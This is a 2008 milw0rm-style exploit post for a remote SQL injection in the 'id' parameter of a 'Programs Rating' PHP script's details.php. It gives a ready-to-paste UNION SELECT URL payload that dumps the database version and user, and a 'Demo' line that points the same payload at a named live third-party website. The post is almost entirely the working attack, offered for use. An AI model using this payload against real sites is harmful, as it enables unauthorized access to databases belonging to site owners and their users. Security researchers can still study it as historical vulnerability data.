||| Programs Rating (details.php id ) Remote SQL Injection Vulnerability

||    Author: Hussin X

||   Home :  WwW.IQ-TY.CoM

||    email:  darkangel_g85[at]Yahoo[DoT]com


||| script :http://www.yourfreeworld.com/script/rating.php

||| DorK   : *_^


 Exploit
________

www.[target].com/Script/details.php?id=-1+union+select+1,version(),3,user(),0x48757373696E5F585F5F5761735F68657265,6,7,8,9,10--


 Demo
_________

http://www.downlinegoldmine.com/rating/details.php?id=-1+union+select+1,version(),3,user(),0x48757373696E5F585F5F5761735F68657265,6,7,8,9,10--




| Greetz : All my freind

# milw0rm.com [2008-11-01]